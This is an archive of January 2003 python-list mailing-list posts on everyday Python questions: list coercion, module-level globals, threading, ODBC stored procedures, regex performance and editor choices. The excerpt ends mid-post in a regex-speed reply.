References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it>
Message-ID: <b1e7am$s3q$1@main.gmane.org>

"Alex Martelli" wrote:
> Dale Strickland-Clark wrote:
>
> > In many places, often small utility functions, I find myself using the
> > form:
> >
> > lst = maybeAnArg
> > if type(lst) not in (list, tuple)
> >     lst = [lst]
> > for x in lst:
> >     whatever
> >
> > or
> >
> > lst = maybeAnArg
> > if type(lst) not in (list, tuple)
> >     lst = [lst]
> > mangle = [x for x in lst if whatever]
> >
> >
> > In other words, I want to be able to treat an argument of arbitrary
> > type as a list of 1 if it isn't already a list.
> >
> > Has anyone got a neater way of doing this?
>
> Sure:
>
> for x in aslist(list):
>     whatever(x)
>
>
> How aslist is written is obviously quite secondary (at least,
> I _hope_ that's obvious...) -- all of its USES will be just as
> neat as the above example.
> ...

I have followed this thread with interest because I need the same kind of
functionality. The iteron definition using generators doesn't really work
for me for some reason. (I confess I don't fully understand generators.) I
would settle for a function aslist that would meet the following unit tests:

class MyObject(object): pass

class test_aslist(unittest.TestCase):

    def test_string(self):
        x = 'spam'            # arg
        y = aslist(x)         # test function
        z = [x]               # target
        self.assertEquals(y, z)

    def test_tuple(self):
        x = ('spam', 'eggs')  # arg
        y = aslist(x)         # test function
        z = ['spam', 'eggs']  # target
        self.assertEquals(y, z)

    def test_list(self):
        x = ['spam', 'eggs']  # arg
        y = aslist(x)         # test function
        z = x                 # target
        self.assertEquals(y, z)

    def test_instance(self):
        x = MyObject()        # arg
        y = aslist(x)         # test function
        z = [x]               # target
        self.assertEquals(y, z)

if __name__ == '__main__':
    unittest.main()

Thanks.

Donnal Walter
Arkansas Children's Hospital







From boethius at techie.com  Sun Jan  5 16:38:17 2003
From: boethius at techie.com (Boethius)
Date: 5 Jan 2003 13:38:17 -0800
Subject: Function calls and reflection
Message-ID: <67446a0a.0301051338.147661dc@posting.google.com>

Can a function tell which function / method called it?



From lac at strakt.com  Fri Jan 10 02:12:08 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 10 Jan 2003 08:12:08 +0100
Subject: Python patch analog 
In-Reply-To: Message from Terry Hancock <hancock@anansispaceworks.com> 
   of "Fri, 10 Jan 2003 06:26:06 GMT." <2ItT9.2722$Qr4.253416@newsread1.prod.itd.earthlink.net> 
References: <o31T9.219$Dq.18655@newsread2.prod.itd.earthlink.net> <mailman.1042094227.29342.python-list@python.org> <J3bT9.1063$Qr4.115123@newsread1.prod.itd.earthlink.net> <mailman.1042113798.3370.python-list@python.org> <2ItT9.2722$Qr4.253416@newsread1.prod.itd.earthlink.net> 
Message-ID: <200301100712.h0A7C8jL018025@ratthing-b246.strakt.com>

 
> I guess you mean these?
> Arch: http://www.fifthvision.net/open/bin/view/Arch/
> EVA:  http://initd.org/pub/software/eva/
> and I see an ML for EVA.

Indeed.  I wasn't aware of the namechange until today.
> 
> Thanks for the ideas,
> Terry
> 

My pleasure.

Laura




From sross at connectmail.carleton.ca  Tue Jan  7 20:00:41 2003
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Tue, 7 Jan 2003 20:00:41 -0500
Subject: list comprehensions value assignment syntax error
References: <mailman.1041983459.23262.python-list@python.org>
Message-ID: <gLKS9.5$IC6.6609@news20.bellglobal.com>

you could try:

L = [chr(i) for i in range(256)]

this should work so long as len(L) == 256 before this assignment statement



"Gerrit Holl" <gerrit at nl.linux.org> wrote in message
news:mailman.1041983459.23262.python-list at python.org...
> Hi,
>
> I am trying to assign to a list item using list comprehensions, but this
> raises a SyntaxError:
>
> >>> [l[i] = chr(i) for i in range(256)]
>    File "<stdin>", line 1
>        [l[i] = chr(i) for i in range(256)]
>              ^
> SyntaxError: invalid syntax
>
> Why?
>
> Do I really have to abandon list comprehensions or do this?:
>
> >>> [l.__setitem__(i, chr(i)) for i in range(256)]
>
> yours,
> Gerrit.
>
> --
> Asperger Syndroom - een persoonlijke benadering:
> http://people.nl.linux.org/~gerrit/
> Het zijn tijden om je zelf met politiek te bemoeien:
> http://www.sp.nl/
>





From hemanth_sethuram at yahoo.com  Wed Jan 29 05:26:35 2003
From: hemanth_sethuram at yahoo.com (Hemanth P.S.)
Date: 29 Jan 2003 02:26:35 -0800
Subject: Hacking Heaven - Leo+XEmacs Integrated
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz>
Message-ID: <9be5e130.0301290226.6da15e53@posting.google.com>

Aum <spam-me at no-thanks.com> wrote in message news:<93rZ9.51593$F63.1103117 at news.xtra.co.nz>...
>n
> Installation:
> 1. Install Leo from CVS - instructions on the Leo website (above)
> 2. Replace LeoPy.leo with my hacked copy:
>    http://www.freenet.org.nz/downloads/LeoPy.leo
> 3. Set up your xemacs so it launches gnuserv on startup
> 4. Open a leo window on the left of the screen - slide the divider all the
>    way right so no code pane is visible, then resize the window to thin and  
>    tall
> 5. Open Xemacs on the right.
> 
>
I am running XEmacs 21.4.11 on Win2k. When I say gnuserv-start, it
says "program not found". Does this only work on Linux?

--Hemanth



From follower at iname.com  Mon Jan 27 20:12:18 2003
From: follower at iname.com (Follower)
Date: 27 Jan 2003 17:12:18 -0800
Subject: Slurping Web Pages
References: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net> <FuQY9.5691$qb1.2425@nwrddc01.gnilink.net> <8a27e309.0301270928.515c38f0@posting.google.com>
Message-ID: <d2f38965.0301271712.649e08da@posting.google.com>

> I am trying to use ie's authentication mechanism to be able
> to get through our Windows proprietary authentication method.
You *definitely* want the 'NTLM Authorization Proxy Server' (written
in Python no less...) located at
http://www.geocities.com/rozmanov/ntlm/.

Seriously. Go there now. Get it. Be happy.

(Works for letting Mozilla access NTLM authorising intranets too...)



From fredp at mygale.org.nospam  Mon Jan 20 17:05:05 2003
From: fredp at mygale.org.nospam (Fred Pacquier)
Date: 20 Jan 2003 22:05:05 GMT
Subject: Seeking Ultralight p2p app
References: <mailman.1043010156.7926.python-list@python.org>
Message-ID: <Xns9309EB299EFD0PaCmAnRDLM@213.228.0.138>

"David LeBlanc" <whisper at oz.net> said :

> I've lost track of an app and can't seem to find it anywhere (VoP,
> yahoo, SF). TBMR, it had a simple tkinter GUI chat interface and one
> communicated to another user (users - like irc?) by entering their IP
> address(es). It might have been a book sample or a technology
> demonstrator and not a supported app.
> Any help appreciated...

"Circle", maybe ?

-- 
YAFAP : http://www.multimania.com/fredp/



From 2002 at weholt.org  Sun Jan 26 14:02:25 2003
From: 2002 at weholt.org (Thomas Weholt)
Date: Sun, 26 Jan 2003 20:02:25 +0100
Subject: Emacs-tips for a Python-programmer
Message-ID: <8gWY9.15616$CG6.265357@news4.e.nsc.no>

Hi,

After my posting about commercial IDEs I got a lot of tips about tricks one
can use in Emacs to manipulate python source. Does anybody have a collection
of such tips? It would be nice to have all the features useful in
Python-programming in Emacs documented in one place, for instance the page
for Emacs python-mode at http://www.python.org

Just an idea.

Best regards,
Thomas





From fuf at mageo.cz  Wed Jan  8 12:56:15 2003
From: fuf at mageo.cz (Michal Vitecek)
Date: Wed, 8 Jan 2003 18:56:15 +0100
Subject: global variable not seen (bug?)
In-Reply-To: <3E1C59C6.5D8034CD@engcorp.com>
References: <mailman.1042041138.4444.python-list@python.org> <3E1C59C6.5D8034CD@engcorp.com>
Message-ID: <20030108175615.GB8922@foof.i3.cz>

Peter Hansen wrote:
>"Globals" are not really *global* in Python, they are visible only
>throughout the module in which they are defined, not throughout the
>entire application.
>
>You've defined "GLOBAL_VARIABLE" in the module used for the interactive
>interpreter (well, I think that's roughly what happens... it's close
>enough for this discussion) but someFunction() is defined in another
>module which has its _own_ "namespace" (basically, the set of names
>that it recognizes).  Even though you've imported a name from the 
>"imported" namespace into your own namespace(*), you don't change
>the fact that someFunction() looks in the namespace of the "imported"
>module to find the "global".
>
>(*) The form "from module import *" is, by the way, generally a bad 
>idea, but you can read the archives to find out why as it has
>been much discussed in the past.
>
>-Peter

 Peter, thank you for your response.

 i must say that this behaviour of "global" variables is IHMO pretty
 uncommon and non-intuitive and i wonder what was the reason the
 developers chose this way:
    1) either that global variables have module-only scope
    2) method even though it is imported into different scope still
    looks for data in module in which it was defined

 what i wanted was an easy solution to be able to access (read/write,
 etc.) data files in my python scripts. the data files are located in
 some fixed directory but the scripts (with classes that operate on
 them) can be whatever deep in directories and be imported and used from
 scripts that can be again whatever deep. some example:

    projectRootDirectory:
        importFileModuleToWorkOnFile.py*
        
    projectRootDirectory/dataFiles:
        File.dat

    projectRootDirectory/classes:
        FileModuleWorkingOnFile.py

    projectRootDirectory/tests:
        testFileModuleWorkingOnFile.py*

 where * denotes executable python script and module
 FileModuleWorkingOnFile.py contains a class that wants to be able to
 access file File.dat no matter what is the location of executable
 script importing it. if real globals were supported in python i could
 have the scripts roughly as follows:

 importFileModuleToWorkOnFile.py:
    PROJECT_ROOT_DIRECTORY = "."
    # sys.path tweaking
    import FileModuleWorkingOnFile

    # make an instance of class ClassWorkingOnFile() and call its
    # methods to do some work on file File.dat
    ...


 testFileModuleWorkingOnFile.py:
    PROJECT_ROOT_DIRECTORY = ".."
    # sys.path tweaking
    import FileModuleWorkingOnFile

    # make an instance of class ClassWorkingOnFile() and call its
    # methods to do some work on file File.dat
    ...


 FileModuleWorkingOnFile.py:
    class ClassWorkingOnFile(object):
        ...

        def workOnFile(self):
            global PROJECT_ROOT_DIRECTORY
            
            f = open(PROJECT_ROOT_DIRECTORY + "/dataFiles/File.dat")
            ...


 is there any feasible way to achieve this?

        thank you for your help,

-- 
		fuf		(fuf at mageo.cz)




From zope at thewebsons.com  Sat Jan 11 11:15:14 2003
From: zope at thewebsons.com (beno)
Date: Sat, 11 Jan 2003 12:15:14 -0400
Subject: Module Is Not Callable
In-Reply-To: <20030111153341.GA2630@nl.linux.org>
References: <5.1.0.14.0.20030111105249.021bec00@mail.thewebsons.com>
 <5.1.0.14.0.20030111105249.021bec00@mail.thewebsons.com>
Message-ID: <5.1.0.14.0.20030111121459.021ab4c0@mail.thewebsons.com>

At 04:33 PM 1/11/2003 +0100, you wrote:
>beno schreef op zaterdag 11 januari om 16:06:35 +0000:
> > Subject: Module Is Not Callable
> > Hi;
> > I have tested the following script and it works as long as I input it into
> > the command prompt. But when I try and write it to a script, then call the
> > script, I get the following error:
> >
> > >>> import test
> > >>> import string
> > >>> test()
> > Traceback (most recent call last):
> >   File "<stdin>", line 1, in ?
> > TypeError: 'module' object is not callable
> >
> > Why?
> > TIA,
>
>A module is not supposed to be callable. A module is executed when it is
>imported. Use execfile to execute a file without importing the module.
>
>More information on modules:
>http://www.python.org/dev/doc/devel/tut/node8.html (read this first)
>http://www.python.org/dev/doc/devel/ref/import.html#l2h-358

Thank you!
beno






From peter at engcorp.com  Tue Jan 21 21:48:14 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Jan 2003 21:48:14 -0500
Subject: translate txt into HTML
References: <18f9f477.0301210606.45d9eaca@posting.google.com> <3E2D5529.C9CB5479@engcorp.com> <x7el762x0p.fsf@guru.mired.org> <b0krfa$8gm$0@216.39.172.122>
Message-ID: <3E2E066E.E15DE5A7@engcorp.com>

Bengt Richter wrote:
> 
> On Tue, 21 Jan 2003 18:11:18 GMT, Mike Meyer <mwm at mired.org> wrote:
> >You've got a bug. Try this for the second print:
> >
> >print >>htmlFile, '<body><pre>%s</pre></body></html>' % text.replace('<', '&lt;')
> >
> I think you have a bug too ;-)
> 
> print >>htmlFile, '<body><pre>%s</pre></body></html>' % \
>                         text.replace('&','&amp;').text.replace('<', '&lt;')

Ouch... text.replace().text.replace() isn't going to get far.  ;-)

Anyway, Martin hit the nail on the head when he clarified that
this is not a bug, depending on the requirements.  Not all 
source files can have such characters within, and the OP 
didn't specify enough detail for us even to be considering my
version a possibility.... no point debugging a "spike" which
isn't intended for use, is there?

-op-op-where-are-you-ly yr's, 
 Peter



From mis6+ at pitt.edu  Sat Jan 25 08:09:16 2003
From: mis6+ at pitt.edu (Michele Simionato)
Date: Sat, 25 Jan 2003 08:09:16 -0500
Subject: help on autosuper
Message-ID: <000e01c2c472$f7d14c80$7f718e88@phyast.pitt.edu>

In his essay on type/class unification, Guido defines the following 

autosuper metaclass:

--- begin autosup.py ---

class autosuper(type): #Guido's metaclass

def __init__(cls, name, bases, dic):

super(autosuper, cls).__init__(name, bases, dic)

setattr(cls,"_%s__super" % name, super(cls))

class C(object): #a simple class

__metaclass__=autosuper

--- end autosup.py ---

Notice that I have put the metaclass in a module called autosup.

Everything works as expected; however, there is some incompatibility 

with pydoc:

>>> import autosup

>>> help(autosup)

Traceback (most recent call last):

File "<pyshell#1>", line 1, in ?

help(autosup)

File "C:\PYTHON22\lib\site.py", line 279, in __call__

return pydoc.help(*args, **kwds)

File "C:\PYTHON22\lib\pydoc.py", line 1510, in __call__

self.help(request)

File "C:\PYTHON22\lib\pydoc.py", line 1546, in help

else: doc(request, 'Help on %s:')

File "C:\PYTHON22\lib\pydoc.py", line 1341, in doc

pager(title % (desc + suffix) + '\n\n' + text.document(thing, name))

File "C:\PYTHON22\lib\pydoc.py", line 267, in document

if inspect.ismodule(object): return apply(self.docmodule, args)

File "C:\PYTHON22\lib\pydoc.py", line 961, in docmodule

contents.append(self.document(value, key, name))

File "C:\PYTHON22\lib\pydoc.py", line 268, in document

if inspect.isclass(object): return apply(self.docclass, args)

File "C:\PYTHON22\lib\pydoc.py", line 1093, in docclass

lambda t: t[1] == 'method')

File "C:\PYTHON22\lib\pydoc.py", line 1035, in spill

name, mod, object))

File "C:\PYTHON22\lib\pydoc.py", line 269, in document

if inspect.isroutine(object): return apply(self.docroutine, args)

File "C:\PYTHON22\lib\pydoc.py", line 1116, in docroutine

realname = object.__name__

AttributeError: 'super' object has no attribute '__name__'

Somebody can tell me what's happening, please ?

TIA,

Michele

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030125/31fdc516/attachment.html>

From jimmy at retzlaff.com  Fri Jan  3 06:15:22 2003
From: jimmy at retzlaff.com (Jimmy Retzlaff)
Date: Fri, 3 Jan 2003 03:15:22 -0800
Subject: Python DBI
Message-ID: <A7B5C22F20EE3C4E95744E2F03F1887F0F1C67@MAYOR.retzlaff.com>

ghostdog wrote:
> does the dbi and odbc supplied with the windows version of python
enable
> calling of stored procedures like 
> mycursor.execute("sp_configure") ???
> if so, how do i get the results of sp_configure for example??
> it gives me "Invalid cursor state. in FETCH" when i use the following
steps
> test = "sp_configure"
> cur.execute(test)
> result = cur.fetchall()
> print result

I'd guess you're working with SQL Server here. You can call stored
procedures using the odbc module included with win32all or with
ActivePython for Windows. If you have problems during the call to the
execute method (as opposed to the fetchall method as you spelled out
above) then you might also try the form:

test = "exec sp_configure"
cur.execute(test)

The "Invalid cursor state..." problem is common when calling SQL Server
through ODBC, and not just with Python, I've seen it in VBScript via the
ADO-ODBC bridge and in C++ w/ MFC's ODBC support. One way around the
problem is to execute:

cur.execute("set nocount on")

This should be done soon after creating your cursor (i.e. before
executing any queries that exhibit the problem) and the effect will
persist for as long as you keep the cursor around.

Jimmy




From BPettersen at NAREX.com  Tue Jan 28 14:42:18 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Tue, 28 Jan 2003 12:42:18 -0700
Subject: Which exception to use?
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE276@admin56.narex.com>

> From: Edward C. Jones [mailto:edcjones at erols.com] 
> 
> Which exception is it best to use in the following pieces of code?
> 
> if len(sys.argv) != 2:
>      raise SomeException, 'program requires exactly one argument'

Do you really want a traceback in this case?...

  print >> sys.stderr, 'program requires exactly one argument'
  sys.exit(1)

> if len(sometuple) != 3:
>      raise SomeException, 'sometuple must have length 3'
> 
> I use TypeError or ValueError but they don't feel right. I wish there 
> was a SizeError or LengthError.

It would generally be a value error, however if you think a SizeError is
better, nothing is stopping you:

  class SizeError(ValueError): pass

-- bjorn




From mknews at telia.com  Sun Jan 12 12:12:13 2003
From: mknews at telia.com (mk1231)
Date: Sun, 12 Jan 2003 17:12:13 GMT
Subject: dynamic gui gtk
Message-ID: <NlhU9.5581$FF4.344557@newsb.telia.net>

Hi!

I have an app with several GtkCheckButtons and now I'm looking for a way to 
handle these buttons easy. Can I create buttons/handles dynamic? Is the 
exec() function a good idea?

m



From hwlgw at hotmail.com  Mon Jan 20 08:02:15 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 20 Jan 2003 05:02:15 -0800
Subject: UML and Python
References: <OGFW9.1425$Sv3.183917@newsread1.prod.itd.earthlink.net>
Message-ID: <cb035744.0301200502.1969096@posting.google.com>

[Terry Hancock]
> Does UML work for Python? 

To my opinion: no.
And it will get even worse with UML2.  See

http://www.u2-partners.org/outgoing/uml2/specs/U2P-UML-Super-v2bR1-PDF-ad020902.zip

Looks like UML2 will be an overspecified mess with too much details
and *still* lacking a formal semantics.


> In particular, given some of the Zope extensions 
> to Python:
> 
> Interfaces
> Components
> Acquisitiion
> Pluggable Brains
> 
> How do you represent them?  And is it useful to you to do so?
>

Would be interesting to see design documents from the Zope ppl, see
what they do.


-- 
There are useful diagrams in UML, (eg, the state and transition
diagrams).  Unfortunately, the one most tools use to generate code
(and draw from reverse engineering) has everything to do with
language structure, and nothing to do with what actually happens
at runtime. To put it bluntly: people spend most of their time
designing the wrong thing. Worse, they get it wrong, but it's
carved in stone now; so the final system is either needlessly
complex and marginally functional, or bears no resemblance to the
"design".
        -- Gordon McMillan, 15 Dec 1999



From tjreedy at udel.edu  Fri Jan 10 18:15:00 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 10 Jan 2003 18:15:00 -0500
Subject: syntax for preset locals without using dummy args with defaults
References: <avmoeu$v8p$0@216.39.172.122>
Message-ID: <dqycnYAwFISbyIKjXTWc2Q@comcast.com>

"Bengt Richter" <bokr at oz.net> wrote in message
news:avmoeu$v8p$0 at 216.39.172.122...
> Yet another idea ;-)
>
> Right now we often see
>
>     def foo(x, y=default, z=some_expression):
>         ...
>
> where the purpose is not to have three parameters, but two
> plus a local binding (z) in foo to the value of some_expression
> evaluated in the def-time environment. z may bind something not
> accessible later at call time, or it may be just to avoid
recalculating
> an expensive expression at each function call.
>
> The subject line idea amounts to using the same parameter list
mechanisms,
> but not incrementing argcount

+1/2 on idea

(ok, a little more complex, but that's the
> essence) Thus:
>     def foo(x, y=default)(z=some_expression):

-1/2 on this syntax.  I would prefer ';' instead of ',' to mark end of
run-time variable params and start of define-tine fixed params.  Have
no idea how difficult it would be to have compiler differentiate
between this and ';' as statement separator.

>For longer lists of initializations, it is helpful that parens allow
putting things on multiple lines

One set of parens already does this.

Terry J. Reedy





From mwm at mired.org  Sat Jan 25 16:10:48 2003
From: mwm at mired.org (Mike Meyer)
Date: Sat, 25 Jan 2003 21:10:48 GMT
Subject: Printing repeatedly on same line
References: <mailman.1043508704.13358.python-list@python.org>
Message-ID: <x7vg0d0wb6.fsf@guru.mired.org>

Jason Morgan <jwm-python at sentinelchicken.net> writes:

> How do I print (stdout) to the same line repeatedly? I want to offer a
> status bar for a script. I have tried the following:
> 
> def statprint(s):  # s is a string
> 	import sys
> 	sys.stdout.write(s+" "*(78-len(s))+"\r")
> 
> I got this from this ASPN page:
> 
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146038
> 
> which seemed to be refering to Windows (I'm writing for Linux/*BSD). I
> have tried the above function, but it prints in the same manner as
> 'print' does.

I know you have better answers, but thought I'd give you an
explanation for why this is not working.

Unix terminal output drivers can be set to map carriage return to
newline (the ocrnl flag on FreeBSD). You probably have that set. I
don't, and your example worked just fine for me. You need to change
that setting in your program to make it work properly.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From gerrit at nl.linux.org  Mon Jan  6 12:23:49 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Mon, 6 Jan 2003 18:23:49 +0100
Subject: Python threading tutorial?
In-Reply-To: <srqava.ei4.ln@beastie.ix.netcom.com>
References: <mailman.1041679867.22000.python-list@python.org> <mailman.1041757332.19797.python-list@python.org> <95959723.0301051043.68a9e778@posting.google.com> <mailman.1041802930.7347.python-list@python.org> <srqava.ei4.ln@beastie.ix.netcom.com>
Message-ID: <20030106172349.GA2501@nl.linux.org>

Dennis Lee Bieber schreef op maandag  6 januari om 04:12:03 +0000:
> Gerrit Holl fed this fish to the penguins on Sunday 05 January 2003 
> 01:43 pm:
> > to better understand this Lock()ing... hmm... my code seems to hang
> > randomly when adding this... hmm... I'll try and work this out and
> > will probably come with a pointed question later this week... hmm...
> > studying... hmm... hmm..
> >
>         I'm doing your homework, but as I'm currently out of work it is an 
> excuse to keep my skills up. I won't say this is perfect -- after all, 
> the requirements were very loose, and I don't have much in the way of 
> error trapping -- but it may do most of what your description says. 
> (watch out for lines that wrapped in the news system)

Well, it wasn't even homework, it was an exercise I set myself, to exercise
first with threads and, once I mastered them, to exercise with plotting such
a World in a graphical environment where each Creature, Wall, Air and Human
instance have images walking around, as in a game.

[cut 262 LOC]

*Wow*, you've spent some time! Thanks a lot, I'll study on this code and
will probably learn alot from it!

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From jb at cascade-sys.com  Tue Jan 28 20:36:25 2003
From: jb at cascade-sys.com (James J. Besemer)
Date: Tue, 28 Jan 2003 17:36:25 -0800
Subject: Starting threads
References: <Pine.LNX.4.44.0301281637060.26166-100000@x.opf.slu.cz>
Message-ID: <3E373019.3040606@cascade-sys.com>

Lukas Kubin wrote:
> I'm doing Python threads for the first time. In the following code I need
> to use the time.sleep(.005) for the thread to executed right. Otherwise it
> "omits" the first threads.
> The doTheAction() function is a socket operation which I need to connect
> parallelly to multimple computers. What am I doing wrong?
> Thank you.
> 
> 
> import threading
> 
> class Control(threading.Thread):
> 
>   def run(self):
>     doTheAction()
> 
> if __name__ == '__main__':
> 
>   for comp in Computers:
>     thread = Control()
>     thread.start()
>     time.sleep(.005)   # <-- This is what I still need to use
> 

Without the sleep (and even with it) your main thread can exit immediately 
after starting the "Control" threads.  This can be before the threads finish 
and even before some or all of them actually really get started.  THere may 
be some implementations where the main thread waits for the other threads to 
finish but on some implementations, exiting the main thread definitely kills 
off the other threads whether they finish or not.  So in general, you need 
your main thread alive until all the sub-threads are done with their business.

One method to "run" N threads is to begin N-1 threads and use your main 
thread to run the Nth thread.

It's a little cleaner to leave it as you have above and then have your main 
thread execute signal.pause().  This causes the main thread to not compete 
for cycles.  HOwever, it resumes upon receipt of a signal.

In practice, your main thread likely will want to field some "signals".  I 
often employ something like the following:



	Running = 1

	def HandleSig( sig, frame ):
		global Running

		if sig == signal.SIGHUP: # maybe others
			Running = 0
		else:
		print "Unk Sig"

	def main():
		signal.signal( signal.SIGHUP )  # maybe others
		for comp in Computers:
				thread = Control()
		thread.start()
	
		while Running:
			signal.pause()





Regards

--jb

-- 
James J. Besemer		503-280-0838 voice
2727 NE Skidmore St.		503-280-0375 fax
Portland, Oregon 97211-6557	mailto:jb at cascade-sys.com
				http://cascade-sys.com	






From db3l at fitlinxx.com  Mon Jan  6 16:20:45 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 06 Jan 2003 16:20:45 -0500
Subject: Distributing Python apps
References: <SDIR9.8437$8M3.1412642@news20.bellglobal.com> <mailman.1041720609.1880.python-list@python.org> <4lvi1v03tkpmg4l40amut7e2c22vsdc86p@4ax.com> <d6na9ihe.fsf@python.net>
Message-ID: <un0mec6vm.fsf@fitlinxx.com>

Thomas Heller <theller at python.net> writes:

> To further cut down the file size, you could use UPX, which
> transparently compresses executable files. This brings down
> python22.dll from 847920 bytes to 324608 bytes. IIRC, the ratio
> is even more impressive with the wxPython and wxWindows dlls.
> 
> http://upx.sourceforge.net/

That's a good point, particularly with respect to a diskette based
system.  Normally I steer people away from this approach because it
prevents Windows from sharing that DLL amongst several processes, so
you risk dramatically increasing memory usage.  But given that a
packaged python application would be self-contained and not typically
sharing anything anyway, the downside isn't as bad and likely worth
the trade-off.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From norm at norm.com  Sat Jan 25 13:53:07 2003
From: norm at norm.com (Norm)
Date: Sat, 25 Jan 2003 13:53:07 -0500
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com> <fcAY9.37$Sf4.29148@news.uswest.net>
Message-ID: <3e32db24_4@corp.newsgroups.com>

Hey ...er... how do you download pycrust?  I was led to some CVS and a bunch
of files.  I did get xwPython from Min.edu, but the actual PyCrust is
confusing me.

Thanks
Norm



"Kevin Altis" <altis at semi-retired.com> wrote in message
news:fcAY9.37$Sf4.29148 at news.uswest.net...
> "Norm" <norm at norm.com> wrote in message
> news:3e32a1a6_4 at corp.newsgroups.com...
> > I'm really just getting started in Python with the goal of improving my
> > Linux networking administration.
> >
> > I'm learning / practicing with IDLE Python GUI.
> >
> > Q.  What does the real Python community use for creating Python
programs?
> >
> > Thanks
> > norm
>
> You'll just need to try some. It is critical that the editor you use is
> Python-aware, can highlight things like mixed tabs and spaces, which can
> cause errors when trying to run your scripts; you should just use 4 spaces
> per indent, but your editor should be able to bind the tab and shift-tab
> keys to automatically indent and dedent correctly while editing. If you
are
> already familiar with using vi(m) or Emacs or any of the other editors
> listed in the links below, then there is a lot to be said for not
switching
> editors and just getting a Python mode working with the editor you already
> know. If you don't already know vi(m) and Emacs then I strongly urge you
not
> to try and come to grips with either of those editors while learning
Python,
> that would simply be cruel and unusual punishment. You'll have time to
learn
> to love or hate vi(m) or Emacs or neither after you've learned Python.
>
> http://www.python.org/editors/
>
> http://www.python.org/cgi-bin/moinmoin/PythonEditors
>
> I think the important thing is to make sure you have an integrated shell
as
> part of your editor or Terminal/Console so that you can try things out.
The
> better Python shell wrappers have auto-completion and calltips, IDLE does
> not support this. Personally, I use PyCrust, which is part of the wxPython
> distribution.
>
> http://www.wxpython.org/
>
> There is also IPython
>
> http://www-hep.colorado.edu/~fperez/ipython/
>
> To see what I mean by auto-completion and call tips, look at the last two
> images of the Shell (PyCrust) documentation here:
>
> http://pythoncard.sourceforge.net/shell.html
>
> You may also want to look at a more focused list of resources for learning
> Python from the PythonCard docs page:
>
> http://pythoncard.sourceforge.net/learning_python.html
>
> ka
> ----
> Kevin Altis
> http://radio.weblogs.com/0102677/
> http://ww.pythoncard.org/
>
>




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From wilk-spamout at flibuste.net  Mon Jan 20 15:52:18 2003
From: wilk-spamout at flibuste.net (William)
Date: 20 Jan 2003 21:52:18 +0100
Subject: doc in emacs
References: <87hec4x9oc.fsf@flibuste.net> <mailman.1043069676.897.python-list@python.org>
Message-ID: <87vg0jee7x.fsf@flibuste.net>

pinard at iro.umontreal.ca (Fran?ois Pinard) writes:

> [William]
> 
> > Is there an easy way to browse the python manual inside emacs ?
> 
> There once was an Info rendering of the Python manuals which I found very
> convenient at the time, but I do not know if it is kept up-to-date anymore.
> 
> Currently, to browse Python manuals, I use `links' for Web access and gave
> myself a few Emacs commands to easily launch it, either within Emacs and
> externally.  I prefer using it externally when running Emacs under X, within
> Emacs otherwise.  In case some people are interested, let me append my
> customisation for this, all crude and raw.  Use at your own risk! :-)

thanks for the customisation script it will help me to study lisp, i
browse also the doc in an external browser when i'm under X.

-- 
William Dode - http://flibuste.net



From adalke at mindspring.com  Thu Jan  9 23:15:51 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 21:15:51 -0700
Subject: regexp speed concerns
In-Reply-To: <e15e4bd1.0301091611.411bafc2@posting.google.com>
References: <e15e4bd1.0301091611.411bafc2@posting.google.com>
Message-ID: <avlhs0$cg5$1@slb9.atl.mindspring.net>

Jonathan Craft wrote:
> 1).  Should such a slowdown be expected?  The expression that I'm
> searching for is pretty simple (whitespace or start of line, followed
> by 1 of 3 possible strings), but I was suprised to see my python code
> slow down so visibly.  I've been unable to find a clear answer
> anywhere on which lang had faster regexp capabilities, which leads me
> to believe that the result varies on the situation.
> 2).  Given my assumption that either language can be faster than the
> other given the application, are there any 'rules of thumb' that I can
> follow to make sure I'm making the python expressions behave as
> quickly as possible?
> 3).  Should I be using "match" instead of "search"?  I know that the
> algorithms used under the hood differ for each, but I'm not sure which
> one is the best to use under these conditions.

There's way to speed it up.  See below.  One thing to bear in
mind is that Perl coders when starting to use Python use regexps
a lot more than normal Python coders.

Regarding match, yes, match would be faster since it only checks
the first character.  Search, as you do, does a search starting
from every character until out of character or success.

> First Python Attempt:
> ---------------------
> import re
> errSO = re.compile('[\s^](ERR|err|FAIL)')
> for line in fh:
>   if not finishFound:
>     match = errSO.search(line)
>     if match != None: finishFound = 1

Hmm... Mising a few variables.

Variable lookups in module scope are slower than in function
scope.  You don't need a None lookup, just do the implicit
check for truth.  Also, it looks like 'finishFound' is a flag
to stop procesing, so you can break at that point; you don't
need to read the rest of the file.


import re, sys

def main(fh):
     errSO = re.compile('[\s^](ERR|err|FAIL)')
     finishFound = 0
     for line in fh:
         if errSO.search(line):
             finishFound = 1
             break
      ...

if __name__ == "__main__":
   main(sys.stdin)


You can also use a non-regex, as in

import sys

def main(fh):
     errSO = re.compile('[\s^](ERR|err|FAIL)')
     finishFound = 0
